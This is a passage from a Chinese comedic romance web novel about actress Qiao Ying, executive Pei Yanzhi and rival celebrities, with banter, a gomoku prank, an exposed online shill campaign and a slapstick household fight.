裴砚知的心里本来有些堵得慌,在听到这四个字忽然就通体舒畅了起来。 车顶灯光勾出了他的轮廓,眉头和前眼角聚在一起,在没有表情的时候,看起来就像是在生气一样。 乔缨由此误会了他的意思,见他不说话,忍不住替粉丝辩解两句: “你别生气啊,圈子里很多结婚几十年的夫妻也这样,孩子都上大学了,双方粉丝还在掐架,也不影响他们的关系。” 说完又觉得这话好像有点奇怪,迅速打了个补丁:“我是说,你是我的朋友,但粉丝对我来说同样很重要,你们都是我的翅膀。” “道德绑架?”裴砚知挑眉,“我能得到什么好处呢?” “谁说是道德绑架,这是商务谈判。” 乔缨翻出贺晓女士的微信,举在他眼前晃了晃,有恃无恐道:“虽然现在身体换回来了,但我可以继续帮你应付家里人。” 她逼近一点,凑到他跟前,笑吟吟地游说蛊惑:“裴总,你也不想整天被催婚吧?” 裴砚知任由她靠近,表面上还是那副游刃有余的神情,耳廓却染上了一点绯红。 他欲盖弥彰地移开视线,盯着虚空中的某一处,淡淡道:“为什么不直接结婚?可以省去很多麻烦。” 本来是句玩笑话,没想到乔缨居然一口答应,还像是发现了新世界的大门一般,眼睛骤然一亮。 “对哦,咱俩可以先上恋综炒cp,然后顺势宣布结婚,隔个几年再声明感情破裂,最后上《再见爱人》,流水线式捞钱!” 她越想越有道理,握拳捶手,恍然大悟:“如此循环往复,不就成了永动机吗?裴总,不愧是你,还得是你啊!” “乔老师,我觉得,我有必要和你探讨一下爱情观。” 裴砚知无奈地皱了皱眉,转过身子和她面对面,表情变得正色起来。 “我仍然保持我的观点,婚姻不是儿戏,更不是作秀,而是一件需要严肃对待的事情。” 他见过太多例子,根据身边统计学来看,爱情和婚姻这两样东西,没有一个好的开始,势必不会有一个好的结局。 乔缨:“……” 虽说第一次见面时,她就发现了裴砚知的高道德感和救风尘的癖好,但这人现在居然一本正经地开始和她谈论起了人生哲学,还真是让她有些不知所措。 在乔缨的人生里,从未有过这样的体验,没有人来指导她该怎么成长,一切全靠自己摸索。 她困在自己的世界里太久,几乎已经形成了某种自我保护机制和条件反射。 总是用插科打诨的方式将所有话题轻轻揭过,态度敷衍又随便,说出口的话十句里只有半句是真的。 剖开心脏给别人看是很危险的事情,乔缨早就品尝过代价。 可是此时此刻,面对裴砚知,她忽然就不想说谎了。 车厢里,沉默的气氛蔓延,裴砚知没有催促,只是静静地看着她。 半晌后,乔缨扯了扯嘴角,忽然卸了力气,向后一靠,换了个舒服的姿势。 “虽然我是禁育系,也并不憧憬爱情和婚姻,但如果你想谈,我也可以谈。” “如你所见,我自私又恶毒,懦弱且爱逃避,脾气不好性格恶劣,不过这都是废话,要是你身边有这么一群b人,你也会这样。” “我不认为自己很缺爱,但我承认自己不会表达爱,这 玩意儿我满打满算也就只能给出三十分的答卷,和我在一起会受尽委屈。” “我双标、拧巴、疑心重,喜欢的时候心血来潮什么都可以,没兴趣了就会扔一边去找其他乐子,哪怕面临生死抉择,我也只会考虑我自己。” “人不能既要又要还要,如果非得和谁经营一段亲密关系,爱和钱总要占一样。但我深知自己处理起这种事来会有多糟糕,所以我似乎只有一个选项可以选择。” “这就是我的答案。” 乔缨两手一摊,颇有种破罐子破摔的快慰。 “我这个人虽然嘴毒了点,其实本性也是很坏的,或许会有眼瞎的帅哥撞上我这棵歪脖子树,但这种可能性不亚于三叶虫攻打长劲鹿。” 说完,乔缨好整以暇地观察着裴砚知的表情。 见他始终不发一言,心里那股子把事情往坏处想又不怎么甘心的拧巴劲又开始作祟。 她故作轻松地笑了笑,垂下眼睫,眉头堆在一起,气氛像是某种回南天拧不尽的潮。 “你看,你果然被吓到……” 没想到裴砚知却在沉思片刻后忽然抬眸,仍旧是气定神闲的模样,不以为意地说:“不就是皇帝型人格吗?多大点事。” 乔缨怔怔地抬头,对上了一双噙着笑意的眼睛。 情绪好似被谁温柔地接住,再熨贴地抚平,那股潮湿的气息仿佛骤然间被风吹散,没了踪迹。 雪覆下来,四下静默。 她只听到自己格外强烈的心跳声。 “放心吧,你刻薄的样子也很迷人,”裴砚知伸出手指替她戴上了围巾,“会有人愿意为你赴汤蹈火的。” 50-60 第51章 第五十一章 做人最重要的是火候 “我不需要。” 怔忡脆弱的神情只在乔缨的脸上短暂停留了几秒, 而后迅速恢复成那副铜墙铁壁的模样。 开什么玩笑,她又不是jump漫画里的反派,主角只要打几句嘴炮她就能改过自新。 乔缨推开门下了车。 京市的冬天很冷, 雪花纷纷扬扬从红墙上飘下,乔缨用围巾把脸结结实实包住, 只露出一双泠然的眼睛。 她倚在车身,两手搭在降下的车窗上, 朝车内缄默无言的男人笑笑: “造物主并不善待于我, 孤独和分离才是我的人生常态,而信任是种预判,能让我正向积累数值的人寥寥无几。” 一个因作者的恨意而诞生的角色,一辈子都在踽踽独行挣扎求生,所以她理解秦铮和林曌的困顿, 那是她的内心投射。 与之相反的是, 乔缨很难相信裴砚知这种人能和她们产生什么共鸣。 “我不会试图去说服你这个世界没这么糟糕,你有自己的判断力。” 裴砚知将手边的一本包着牛皮纸的书递到她眼前, “你觉得我可以,那我就可以, 你觉得我不可以, 那就是我还不够努力。” 乔缨接过,低头打量了两眼, 问:“这是什么?” 裴砚知扬眉道:“《毛选》,送你的。” “好, 我收下了。” 很特别的礼物, 她笑着晃晃手中的书本,珍惜地装进了包里,挥挥手告别, 转身向机车走去。 雪天路滑,她用着比自行车还慢的速度爬回了家,带着小区外的狗仔兜了几圈后,终于走进了大门。 入眼,便是一条红底黄字的横幅标语挂在门口,仔细一看,旁边还竖着一个一人多高的广告立牌。 她觑着近视眼走近几步,喃喃念着上面的文字:“东湖社区……第五届……围棋大赛报名处?” 小区的工作人员见到她后连忙迎了上来,眼里闪着兴奋的光,激动道:“乔老师,你总算来报名了,你可是我们小区的种子选手,我们都等着你呢。” 乔缨手指自己,瞪大眼睛,错愕不已:“我?啊?我吗?” 她这辈子唯一和围棋相关的事情,就是小时候欣赏《围棋少年》而长大后唾弃《围棋少女》,偶尔还去方圆市逛逛。 还种子选手,怕是没发芽前就被泡烂了。 一番推脱后,几个眼熟的大爷大妈也看见她了,纷纷围了过来,七嘴八舌地劝说。 “小乔,你可是咱们小区围棋梯队建设的重要骨干成员,有事儿你得顶上啊。” “对啊,要不是前几天你把老喆下进医院了,我还不知道你有这本事呢,他可是咱小区商业比赛参加得最多的人呢。” “嘁,老喆棋品本来就不好,参加得多有啥用,每次都是64强。喏,上次没下赢小乔,居然把棋盘掀了!还怪我把他掉到地上的棋子踩了一脚。” 老喆? 乔缨紧皱着眉头,在脑子里细细思索片刻。 印象中,小区里似乎确实有个长得像破壳开心果的斜刘海中年大叔,总是摆着棋盘坐在树下的石桌前吹胡子瞪眼,特别用力地在表演对弈。 那人看起来是个高手啊,难道裴砚知已经全面到连围棋都从无敌手了?开外挂了吧? “这人到底还有多少惊喜是我不知道的。” 乔缨咬牙切齿地低声嘟囔一句,而后挂上亲切的微笑,温声道:“叔叔阿姨们,并非我不想参加,而是和你们下围棋的人不是我。” “怎么可能。” 苏阿姨的视线上上下下扫了一遍乔缨,眼神犀利,先发制人道:“你不会想说……其实是什么几千年前的古代人附身后帮你下的棋吧?我是老了不是疯了,那种剧情只有漫画里才会出现。” 爹的,苏阿姨还挺潮,居然连这都能预判到。 乔缨眼珠子颤动,还没想好怎么编下一个借口。 人格分裂? 不行,苏阿姨退休前就是精神科医生来着,柳黎还是她给介绍的。 要不然,说自己其实有个双胞胎妹妹? 那更不行了,乔家的事闹这么大,这些邻居肯定也没少吃瓜。 见她半晌没有回答,报名处的工作人员一脸严肃地问:“乔老师,做人最重要的是什么?” “火候。”乔缨确信。 “是诚信,诚信!” 工作人员苦口婆心地劝:“我答应你,要是你参加了,我们一定给你拉大横幅表扬,在小区挂它一个月!” 乔缨摇头,如同叫地主的语音包一样木然喊出两个字:“不要。” “如果小乔你实在不愿意,那就这样吧,”一旁看热闹的刘大爷插话,“你今天和我下一局,我手上这盒鸡蛋,就归你了!” 四周立即响起一片嘘声。 作为老喆的狐朋狗友,刘大爷也是个不怎么讨人喜欢的角色,最爱在别人下棋的时候指点江山。 最重要的是,他还特别喜欢胡搅蛮缠,仗着年轻人脸皮薄不跟他计较,经常下着下着就开始撒泼,倚老卖老,搞得对手下不来台。 他每次都用物质来诱惑别人和他对弈,看似不划算,但他只损失了一盒鸡蛋,却获得了巨大的心理满足。 苏阿姨深知这人的尿性,皱着眉头想要阻止,被刘大爷大声打断,朝乔缨挑衅道: “小丫头,你是不敢,还是大明星瞧不起我们小老百姓的这点三瓜两枣?” 一顿上价值扣帽子的说教已经到了嘴边,他正要开口时,没想到乔缨却主动坐到了石桌前,神情雀跃。 她催促道:“快开始吧,我占便宜等不到明天。” 拜托那可是免费鸡蛋,拿这个考验干部,这她怎么忍得住! 刘大爷瞪大的眼睛一愣,甩甩衣袖,捋着胡子坐到了对面。 他眼神阴翳,发出一种拿腔拿调似太监的声音,冷哼几声:“你年纪小,我让让你,你先下。” 乔缨并未推脱,拿起黑子就往最中间的格子一放,动作自信,气势唬人。 刘大爷眼珠子转了转,沉下脸色。 嘶,天元开局,这小丫头片子摆明了是瞧不起他吧? 他不满地抬起头,对上了乔缨那张跋扈嚣张的脸,她无所吊谓的态度让刘大爷心里的戾气更重几分。 思考片刻 ,他想起先前乔缨和老喆对弈时那诡谲多变的棋风,决定稳扎稳打地来,在星位落下一颗白子。 两人一来一回地下着,刘大爷却越下越疑惑。 他四个角全占完了,乔缨还跟没事人一样,不进攻不防守,气定神闲地拿起一颗黑子,丝毫不慌。 这是什么路数? 刘大爷擦擦额头上的汗,表情凝重。 下一秒,乔缨猛然落下一子,随后笑着向他抱拳,大言不惭地说:“承让了。” 刘大爷:“?” 什么玩意儿就承让了? 他往下一看,一溜烟的黑色棋子斜斜连成一串,嚣张无比地摆在棋盘上。 不多不少,正好五颗。 他奶奶的,被耍了。 “cinema要跟你下五子棋啊!” 刘大爷怒目圆睁,一巴掌挥了过去,发誓要给这不知天高地厚的死丫头一点颜色看看。 可对面哪里还有乔缨的身影,她早就抱着鸡蛋逃之夭夭了。 围观群众目瞪口呆地目送着她离开。 数十米开外的地方,乔缨提着鸡蛋,脚步飞速挪动,逃得比街上抢包的小偷还要快。 刘大爷迈着愤怒的步伐跟了上去,俩人跟竞走比赛似的较着劲。 偏巧路上落了一层雪,一步一个出溜滑。 两个人一前一后,急赤白脸地保持着身体平衡,速度惊人的一致,居然达到了一种相对静止的效果。 “大爷,你太客气啦!别送了,再送就送到拉萨了!” 乔缨朝身后高声喊道:“鸡蛋我收下,心意你收回去!小心摔倒啊!” 刘大爷指着她破口大骂:“小兔崽子,你给我等着!老子不怕摔,老子带了医保卡!” 连苏阿姨都忍不住感叹:“真是一场酣畅淋漓的警察抓小偷啊,你俩搁这儿玩金山打字呐?” 天色暗了下来,小区的路灯亮起,不知道为什么一闪一闪的,而且刘大爷每路过一盏,一盏就会熄灭几秒。 乔缨发现了这个奇观,转头好奇地问:“大爷,你干嘛老闭灯啊?” 刘大爷反应了两秒,吼道:“你骂我老闭灯?!” 乔缨:“我不骂你老闭灯我骂谁老闭灯?老闭灯!” “你!” 一路火花带闪电地奔到了单元楼下,刘大爷感觉自己肝都气疼了,左脚还不小心磕了花坛上,一拐一拐地挪着步子。 他喘着粗气,眼睁睁看着乔缨推开了安保大门。 隔着一层玻璃,乔缨朝他手指比心地笑了起来。 有个牵着狗的年轻女孩从一楼电梯走了出来。 因为都是圈内人,所以她见到乔缨后并不惊讶,反而热情地打了声招呼,寒暄道:“乔缨姐姐,你也去遛狗啊?我家狗看到下雪可兴奋了!” 乔缨指了指门外的刘大爷,摇头道:“不呢,我刚遛完人,你别说,大爷看到下雪也挺兴奋的。” 读懂她嘴型的刘大爷气得跺脚,骂骂咧咧地打道回府:“祸害,这绝对是个祸害!” 门被推开,毛茸茸的萨摩耶撒欢儿似地蹿了出去。 女孩牵着绳子跟在它身后,见前面路上杵着一个跛脚大爷,忙声制止。 幸好,狗狗还算听话,跑了几步后就慢了下来。 不知为何,它开始亦步亦趋地跟在刘大爷身后。 “爱护老人,好狗。” 空寂的道路上,女孩夸赞的话语格外响亮。 那只憨厚老实的萨摩耶忽然停下了脚步,回头看了女孩一眼,尾巴甩成螺旋桨。 “嗯?宝宝你怎么了?是想给我看什么东西吗?” 萨摩耶“汪”了一声。 然后,它学着刘大爷的模样,缓缓收起一只前脚。 一人一狗,一前一后,一瘸一拐,一模一样。 地狱笑话太过缺德,乔缨差点笑出猪叫,对着刘大爷的背影拍了张照,乐道: “太好了,是同步率100%的驾驶员,第三新东京市有救了。” 按下快门的瞬间,豆瓣后台忽然弹出来一条消息,她疑惑地点开一看: 【您好,看见您在组里非常活跃,请问有兴趣发cp领嗑贴吗?乔缨和沈颐的,大方向就往烂人真心和追妻火葬场上写,大致内容我们已经准备好了,五元一条。】 乔缨忍不住翻了个白眼。 不是,这也太寒碜了,好评返现都比这抠抠搜搜的五块钱多吧? 第52章 第五十二章 老公,你快说句话呀 紧接着, 后台又跳出来一条私信: 【亲,看您在组内比较活跃,请问有兴趣接明星黑料投稿吗?是关于乔缨在剧组霸凌阮绵绵扇她巴掌的事情, 正文内容我们这边已经准备好了,五元一条。】 乔缨:“?” 这两口子还真有趣, 找水军居然都能找到正主头上。 正巧国家最近正在严打网络水军,沈颐和阮绵绵这一出就是自己往枪口上撞, 作大死。 想到这里, 她把两条私信截图,登上微博,添加图片,点击发送,退出软件, 一气呵成。 不出意外又会掀起一阵腥风血雨。 而数公里外。 仍旧是那个京郊的自建房别墅, 仍旧是那个沈颐,他仍旧在厨房里捣鼓着什么。 林娇娇眼神颓丧地看着他的操作, 心如死灰。 自打前段时间沈颐出事后,经纪人李群气没地方撒, 只能拿手底下的牛马泄愤, 陆陆续续开除了一大批人。 就连助理小吴也在半个小时前被辞退,脸上洋溢着解脱般的笑意麻溜滚出了别墅, 就差放一首好日子了,丝毫没有失业的沮丧。 也就是说, 林娇娇现在只能一个人面对情颐绵绵cp的甜蜜暴击。 她绝望地闭了闭眼, 不禁悲从中来。 沈颐端出来一碗榆钱拌饭,左右张望,没见到阮绵绵的身影, 皱眉问道:“她人呢?” 林娇娇回:“薇姐找她有事,她去隔壁的空房间里打电话了。” 沈颐没说话,仍旧紧皱着能夹死苍蝇的眉头,看了林娇娇一眼,将手中新鲜出炉的食材递了出去,顺便用不锈钢碗照了照下颌线。 他如恩赐般对林娇娇说道:“榆钱拌饭,春天的味道,吃吧,便宜你了。” 大哥,现在十二月,哪里来的春天? 等等,不对,重要的是哪里来的榆钱?不会是去年的吧? 仔细一想,这次的沈颐厨房用到的食材好像都挺原生态。 譬如,细菌含量超标的山泉水; 譬如,从老乡手里讨来的生鸡蛋; 以及没淘过水的米; 还有去年春天在路边摘的榆钱…… 所有食材都半生不熟、半死不活地融合在一起,一滴油都没有,一块肉都不放,吃得比原始人还原始人。 沈颐别是破产了吧? 不小心窥见真相的林娇娇半眯着眼睛,小心翼翼往上面一瞅。 像谁屙碗里了。 她抗拒的意味太过明显,虽然在老板面前及时控制好了表情,但看在沈颐眼里,无异于轻视和奚落。 他这段时间接连翻车塌房,商务解约和剧组退货接踵而至,一时间成了没人要的赔钱货。 娱乐圈这种封建名利场,最是拜高踩低看人下菜,更何况他之前风光无限的时候太过招摇桀骜,得罪的人不少。 如今新仇和旧恨纷纷都来看他笑话,落井下石,沈颐这段时间的日子很不好过,连路过的狗都能踹他一脚,一向高傲的自尊心大受打击。 落差太大,沈颐一时半会儿接受不了,觉得全世界都在针对他。 莫名其妙破防的沈颐怒极反笑,发疯似的搅动着手里的榆钱拌饭,伸到林娇娇面前,状若癫狂道: “吃啊,你怎么不动筷子?是不是瞧不起我?好好好,现在连个助理都看不起我了是吧?三十年河东三十年河西,你们给我等着!” 林娇娇惊恐万状地躲避着追捕,朝走廊上跑去,崩溃的声音宛如被老虎追的急支糖浆广告: “婉拒了哈!我弟刚流产,吃不得生冷食物!” 两个人你追我赶了半幢自建房,弯腰曲背扶着膝盖喘息的间隙,两道微博特别关注的提示音响了起来,重合在一起。 林娇娇先是一愣,而后迫不及待打开了手机,目光灼灼。 她一会儿低头看看屏 幕,一会儿抬头看看沈颐,嘴里发出啧啧的声响。 沈颐被她看得后背发凉,莫名有种不详的预感,连忙也打开了手机,顺着消息栏跳转到页面。 开幕便是两张豆瓣私信的截图: 【乔缨V:都好说但是得加钱[图片][图片]@沈颐工作室 @阮绵绵工作室@网信办】 沈颐的心顿时凉了一半。 再往下翻翻评论,另一半也彻底不动弹了。 【我就说,沈渣男现在要是想挽回风评洗白,只有两条路:要么下海演耽改卖腐,要么装深情人设蹭乔缨热度,果然被我猜中了吧!】 【我有点人脉,据说连沈老爷子都松口,说只要他让乔缨消气撤回诉讼,就把股份还给他,沈颐这才精心策划了一出火葬场的戏码。】 【妈呀,找水军营销找到了本尊头上,脚趾扣地了,我都替他俩尴尬。】 【乔缨不要再奖励阮绵绵了好吗好的,下次来扇我。】 【死变态。】 【等等,我发现p2那个私信爆料的账号好眼熟啊,好像和阮绵绵的常用id一样啊?】 与此同时,躲进客房打电话的阮绵绵也正在大脑升级中。 经纪人吕薇扶了扶额,在电话里喋喋不休地劝道: “别老惦记你那b沈颐哥哥了,那根烂黄瓜到底有什么好的?你还没被骂够吗?” “现在流行girls help girls,女性主义更是明星们的时尚背包,时尚背包!懂不懂?” “你明天就发个声明,说自己是被沈颐欺骗了,然后和乔缨道个歉卖卖姬,说不定还能蹭上点她的热度。” 阮绵绵拉拉个驴脸,倔强道:“我不要。” 吕薇简直想伸进屏幕里扇她几巴掌。 娱乐圈更新换代何其快,阮绵绵这条件本来就一般,粉丝还全是屌丝男,商业价值趋近于零,最近一连串的事件更是让她风评跌到谷底。 眼瞅着都快flop了,还不争点气。 爹的,都说了恋爱脑应该列入国家重疾医保。 说不定在阮绵绵的心里,她和沈颐人见人打的现状,甚至还会让她产生一种为了爱情和全世界对抗的快/感。 吕薇深感自己带不动这只一意孤行的倔驴,只得撂下狠话: “你不干有的是人干!你问问自己,这么多年粉丝涨没涨?有没有认真工作?有时候找一下自己的原因好吧!每天给你处理烂摊子,头痛得要死,我真的快要疯掉了!” 阮绵绵没说话,攥紧了小粉拳,两只小脚啪嗒啪嗒地在房间转来转去。 想不通,怎么人人都在妨碍她和沈颐哥哥的爱情。 电话那头有人靠近,贴在吕薇耳边说了几句话,她倒吸一口气,随后发出尖锐的爆鸣声: “你在豆瓣爆乔缨黑料了?你知道你找的那个网友就是乔缨吗?她把你的私信挂到了微博上,现在网友都已经扒出来这个投稿爆料的账号是你本人了!” “什么?” 阮绵绵眼神迷茫了一瞬,然后又理直气壮起来,不服道:“那又怎样?她扇了我十几巴掌又不是假料,剧组里多得是人看到啊!” “那你看看现在有人替你作证吗?剧组的人都知道实情,所以没一个帮你说话!” 吕薇冷哼,简直不明白她脑子里装的都是些什么。 “你别以为我不知道,乔缨扇你是因为你欺负剧组的龙套女演员在先,一直NG把人家脸都扇肿了,乔缨那是在替小演员出头好伐?” 阮绵绵嘟囔一句:“谁让她不知好歹拒绝沈颐哥哥,我只是帮他报仇罢了!” 吕薇只能摇头,对这个带不动的猪队友再一次感到绝望。 和林娇娇一样,她也听了无数次阮绵绵因为一杯红糖水对沈颐一见钟情的故事。 而这位被阮绵绵掌掴的龙套演员,正是沈颐那杯红糖水原本要送的人,所以一直被她隐秘地记恨着。 据说这位女演员本来势头非常猛,在事业上升期拒绝了沈颐的追求。 这狗男人抹不开面子勃然大怒,利用沈家的势力将她封杀,逼得人家只能演一些边缘小角色。 而与此同时,阮绵绵却因为搭上了沈颐,在剧组里混了个女二号,于是便仗着咖位伺机报复。 扇人巴掌也就罢了,阮绵绵居然还在扇完后假惺惺地挤出几滴眼泪,茶里茶气地编瞎话道歉:“对不起,对不起,刚刚是我入戏太深,恶魂上身了,我不是有意的。” 偏巧,乔缨是这部剧的女一,咖位更大,也更加跋扈张扬。 她看不惯阮绵绵的做派,有样学样,也在拍戏时故意NG。 阮绵绵扇了女演员多少巴掌,乔缨就直接两倍数扇了回去,一边扇还一边笑:“哎呀,我也恶魂上身了,你让让我。” 明眼人都看得出来她是在为小演员出头,有人来劝和,也被她一句话堵了回去:“阮绵绵不是喜欢以权压人吗?那就好好感受一下特权的大逼斗啊。” 如果吕薇不是阮绵绵的经纪人,她一定会忍不住为乔缨鼓掌。 这是什么教科书般的爽文打脸剧情,她要是那个女演员,一定当场就爱上乔缨了。 说起来,这个人似乎从此之后就在娱乐圈销声匿迹了,也不知道现在在干哪一行。 啧,人好好一美女,遇到沈颐和阮绵绵这两公婆也是倒了血霉,早早脱离苦海也算及时止损了。 吕薇胳膊肘往外拐的行为让阮绵绵十分不爽,她皱了皱眉,板着脸开始训斥起来: “你只是我的经纪人,不要试图控制我,我有我自己的想法。” “别一上来就教我做事,我觉得没意思,那也不好玩。” 吕薇彻底无语了,发自肺腑地说出四个大字:“你傻逼吧?” 可阮绵绵没再管她,挂掉视频自顾自地推门出去了。 然后她就看见了沈颐和林娇娇追逐打闹的身影。 阮绵绵眼眶一下子就红了,捂着嘴站在原地,不可置信,摇摇欲坠。 冷眼看着她的林娇娇掐着嗓子,忍不住为她补充了一句话外音:“老公,你快说句话呀!” 但她是谁?她可是大绵!大绵只会打小三,亲亲老公是舍不得动半根毫毛的。 阮绵绵想也不想地冲了过去,扬起一巴掌就朝林娇娇的脸上扇,被林娇娇一个扭身闪开了,还反手将榆钱拌饭扣到了她脸上。 沈颐不关心女人之间扯头花,只关心自己的黑暗料理,见状忙问了一句:“口感如何?好吃吗?” 由于条件反射,阮绵绵停下动作,咽下一口又酸又臭的夹生饭,闭上眼仔细品尝了一番,眼角沁出两行晶莹的泪水。 “好吃,层次特别丰富,特别清香,特别春天,我仿佛……仿佛闻到了山间清晨的味道。” 说罢,她还煞有其事地收缩鼻翼,嗅了嗅空气,道:“好吃得想死。” 马屁拍到了点子上,沈颐笑着赞同:“酸溜溜,甜滋滋,这味道,绝了!” 一旁的林娇娇愣在原地。 她总算知道这俩人为什么演戏演得那么差了,一个个的笑跟哭一样,哭跟便秘一样。 还影帝呢,金扫帚奖的影帝吧? 演了半晌的猴戏,阮绵绵回过神来,避开沈颐的视线,凑到林娇娇身边,颐气指使地小声骂道: “你被开除了,现在立刻马上,给我滚出别墅!” 林娇娇惊了:“现在?” 这里又不是市中心,偏僻到连个车都叫不着,居然半夜三更让她一个人穿过黑灯瞎火的树林子? 助理的命就不是命吗? “对,现在,带着你的破烂滚出沈颐哥哥的房子。” 阮绵绵得意地将包袱扔到林娇娇脚下,哼道:“别白费功夫了,沈颐哥哥可看不上你这种平民女孩!” 硬了,林娇娇的拳头硬了。 她气势汹汹地拎起包袱,往阮绵绵的脑袋上一抡,立即响起一声脆响。 “咯咯咯咯的,你是要下蛋吗?” 包裹里的电烙饼砸得阮绵绵头晕眼花,刚才吃下的蹿稀小套餐开始发功,她捂着肚子旋转跳跃躲到沈颐身后,指着林娇娇不住地颤抖。 “你、你……沈颐哥哥,快把这个疯子关进牢里去!我要看她家破人亡!” 沈颐危险地眯了眯眼睛,挺了挺胸脯,冷笑着上前,想钳住林娇娇的双手。 暴走状态的林娇娇毫不费力地把他掀到一旁,捏起拳头直朝沈颐面门砸去,喝道: “老娘不伺候了!尝尝你工人奶奶的铁拳!” 第53章 第五十三章 放下羞涩,重拾男性雄风,…… 清晨, 机场FBO航站楼。 贵宾厅的大门再次被打开,裴砚知从杂志中抬起头,看到了一个眼熟的人。 顾舒柔搀扶着一个陌生女人走了进来, 那女人面容憔悴苍白,应该是通宵哭过, 眼睛显得有些红肿。 女人手中的电话铃声一次又一次响起,又一次一次被她掐断, 对面耐着性子仍旧不死心地继续骚扰, 她索性关了手机,把电话卡掰成两半扔进了垃圾桶。 顾舒柔看着女人脆弱恍惚的神情,轻柔地握住了她的手,愤慨道:“扔得好,就该这样!当初在医院的时候干嘛去了, 现在才来着急……” 这声音不大, 奈何裴砚知的听力实在太好,有些诧异地看向两人。 顾舒柔后知后觉地捂住了嘴, 和裴砚知对上了视线,颇为意外地和他打了声招呼。 她牵着女人坐到了裴砚知对面, 朝四周张望了一圈。 房间里的人不算少, 一看就是昭星的员工,因为他们全都自动离裴砚知三米远。 顾舒柔要了两杯热牛奶, 寒暄道:“裴总这是要去出差吗?” “嗯。” 裴砚知点点头,尽管他不感兴趣, 还是出于社交礼仪问了一句:“这位是?” 女人伸出手虚虚和他握了一下, 勉强挂起几分微笑,礼貌道:“你好,我叫白然。” 其他更多的信息, 她似乎并不愿意透露。 裴砚知见她不愿多说,也不再追问,埋首继续看着杂志。 哪怕心里已经有了答案,他也并不想点明女人的身份。 白然是昭星的下游合作商———蒋宗琰的妻子,虽然裴砚知从未见过她本人,但耐不住徐言洲这个业内知名的八卦达人整天趴在他耳边念叨,记不住的都记住了。 这两个人的故事,和贺晓女士看的那些霸总小说里的背景设定大差不差:商业联姻,感情不好,相看两厌。 两人一直在闹离婚,不过蒋宗琰那边死活不松口,一拖再拖,后来干脆气得把白然的卡停了,企图逼迫她回家。 可就在前不久,白然的妈妈突发脑溢血,由于银行卡被蒋宗琰冻结,交不上费。 紧急时刻,白然打给蒋宗琰的几十通电话却无人接听,又因为不受蒋家待见,在圈子里借了一圈才凑够钱,给老人家安排了手术。 在她等在手术室外焦头烂额的同时,蒋宗琰的身影却出现在了某十八线女艺人的照片里。 小岛阳光,笑得开心无比。 照片虽然很快就被本人删除,但还是闹出了不小的动静,白然被伤透了心,手术做完后就带着母亲消失不见了。 徐言洲说起这事时,眼里全是鄙夷,赵予珞也特别愤怒,还说不想让这些薄情寡义的死男人赚大钱。 好巧不巧,裴砚知早就有更换合作商的打算,于是找了个由头不再续约。 别人问起时,他有意无意提了几句蒋宗琰私德有亏,品行欠佳,其他各家窥见风头不对,也纷纷效仿解约,一时间乱成了一锅粥。 等蒋宗琰鬼混完了回国时,老婆跑了,事业也快没了,人厌狗憎,谁看了不说一句大快人心。 故事发展到这里,外界对于白然的去向也有诸多猜测。 而最着急的莫过于蒋宗琰本人,将京市翻了个底朝天,却连根毫毛都没找到。 不得不说,都是烂俗的虐文剧情,白然做到了李娆做不到的事。 裴砚知一心想着事情,顾舒柔见他的视线长久停在某一页,忍不住伸头过去看了看,随后眼里划过一丝震惊,紧接着便露出了同情的目光。 她表情复杂地说:“加油,不要放弃希望。” “我怎么了?” 裴砚知一脸莫名,然后往杂志上一瞅,顿时僵住了——— 【放下羞涩,重拾男性雄风,请到xx医院,还您幸福一生!】 该死的男科广告。 这不是本商务杂志吗?怎么会放这种东西! 他脸色一阵变换,将杂志合上扔回书架,默默无言喝了口茶。 顾舒柔以为他是害羞了,秉持着医者仁心的精神,贴心安抚道: “没关系的裴总,我们都理解,抗ED的药物我国一年销售额十几亿,你不是一个人在悲伤。” 裴砚知生硬地转移了话题,随口问道:“你不是心外科的吗?今天不上班?” “我来帮林曌姐一个忙。” 顾舒柔示意了一下白然,顺着他的话,不再纠缠刚才的话题。 不知道为什么,裴砚知和上次在医院见到时有些不一样了。 气质不再那么随和,也没有那种二婚骗到白富美的窃喜感,而是真真正正的霸总风,彬彬有礼,但也能明显感觉到冷淡和疏离。 这让顾舒柔不敢再随意开玩笑了。 人际交往,边界感可是最重要的东西。 关于她的回答,裴砚知颇感意外。 能把白然一个大活人的消息瞒得这么死,丝毫不给蒋宗琰找到她的机会,背后的人一定能量很大。 但他没想到林曌居然会管这种闲事。 普遍的认知里,林曌可是利己主义的代名词,除了对乔缨有几分好脸色外,其他时候就是一条口腹蜜剑的毒蛇。 说起来,乔缨似乎是今天进组,也不知道送的书她看没看。 裴砚知拿出手机,给她发了一条消息。 同一个机场,数公里外的某家飞机上,坐在经济舱的乔缨手机震了两下。 【磷脂分子:我要去出差了,消息回复可能不及时,不准骂我。】 【磷脂分子:也不准拉黑我。】 你小子,整得还挺霸道。 乔缨嘴角微微上扬,清早赶飞机的烦躁消散了几分,问: 【Dioretsa:去哪出差?】 对面弹出来一行字: 【磷脂分子:小不列颠快没北爱尔兰联合不起来王国。】 好强的攻击力。 乔缨噙着笑,从包里拿出裴砚知送的《毛选》,戴上耳机,安安静静看了起来。 这次要进的剧组是明年国庆档上映的拼盘电影,她是其中一个单元的主角。 戏份不多,讲述的是一位海峡对岸的女孩,帮助年迈的爷爷回到家乡的故事。 羞于承认的是,其实她一开始的想法和众多不学无术的208同行一样,觉得蹭主旋律只是用来升咖的手段。 要说乔缨有什么特别之处,那就是她比较敬业,为了吃透角色,高强度地搜集了很多资料。 在看了许多纪录片和人物传记后,浮躁的心态逐渐转变,开始认真地去了解那段历史。 到了后期,这份工作对她来说,不仅仅只是拍个电影露露脸而已,她想把触动自己的那些东西表达出来,将故事有血有肉地呈现给更多人。 所以裴砚知给她送的这本书,正合她的心意,来得刚刚好。 乔缨取下书签,刚刚翻看一页,身旁忽然坐下来一个人,阴阳怪气地说道:“哟,看书呢?你还挺争分夺秒。” 耳机里放的金属乐唱着“My ears are ovee with noise”,却丝毫阻挡不了女人尖利的嗓音。 尹悦最恨的就是乔缨这副油盐不进、无所吊谓的样子,忍不住再度拔高了音量叫嚣: “一天天跟你多委屈似的,我告这个我告那个,哗众取宠,显着你多能耐一样。” 她是阮绵绵的姐妹团之一,以前是网红圈的人,后来因为颜值出众当了一段时间的演员,可电视剧还没播出就被爆黑料,重新回了网红圈。 或许自我认知是女主身边的毒舌闺蜜,尹悦一向口无 遮拦,处处替阮绵绵鞍前马后强出头,吹嘘两人的关系有多么多么好,得罪了一圈人,让阮绵绵置身事外坐享其成。 不过从旁观者角度来看,比起闺蜜她更像是狗腿子,甚至原著里都没有她这号人物,阮绵绵根本鸟都不想鸟她。 尹悦拿出一个小袋子,不情不愿地往乔缨身上一扔,不屑道: 